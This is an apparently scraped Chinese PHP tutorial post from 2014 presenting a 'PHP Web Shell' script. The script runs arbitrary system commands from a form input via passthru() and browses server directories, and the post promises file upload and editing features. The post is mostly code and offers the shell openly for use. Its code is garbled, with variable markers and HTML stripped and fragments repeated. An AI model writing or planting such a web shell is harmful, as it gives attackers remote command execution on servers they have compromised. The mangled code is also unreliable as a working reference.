Go homepage(回首页) Upload pictures (上传图片) Write articles (发文字帖)
All articles(文章集合)All Picture(图片集合)All Video(视频集合)
The author:(作者)归海一刀published in(发表于) 2014/2/10 6:45:32 PHP Shell的编写(改进版)_[PHP教程]
程序介绍:
程序:PHP Web Shell版本:v0.4功能:1.可以支持目前主流的操作系统: Win32/*nix/*BSD2.执行系统命令/程序3.浏览目录
未来功能:1.支持在线 上传/下载 文件功能2.支持在线 新建/删除/添加/修改 文件功能
程序代码:
//获取脚本本身输入命令 value="执行" class=input>
输入目录 value="浏览" class=input>
echo "服务器地址: _SERVER[SERVER_NAME]"; //显示服务器域名或IP地址echo "本文件路径: _SERVER[PATH_TRANSLATED]"; //显示文件所在路径?>if(!empty(cmd)) {echo "执行 cmd 命令后的结果:"; //执行命令后的提示}if(!empty(dir)) {echo "浏览目录 dir 的结果:"; //查看目录后的提示}?>if(empty(cmd) && empty(dir)) { //判断有没有输入命令,如果没有则出现错误提示 echo " 请输入你要执行的命令或要浏览的目录!(请确定系统有相应的命令或目录及相应操作的权限)";}@passthru(cmd); //利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(), popen(),Exec()等f = @opendir(dir); //利用opendir()函数来获取目录信息赋值给变量while(file = @readdir(f)) { //使用readdir()函数循环读取目录信息 echo "file\n"; //分行显示获取的目录信息}?>
if(!empty(cmd)) {echo "执行 cmd 命令后的结果:"; //执行命令后的提示}if(!empty(dir)) {echo "浏览目录 dir 的结果:"; //查看目录后的提示}?>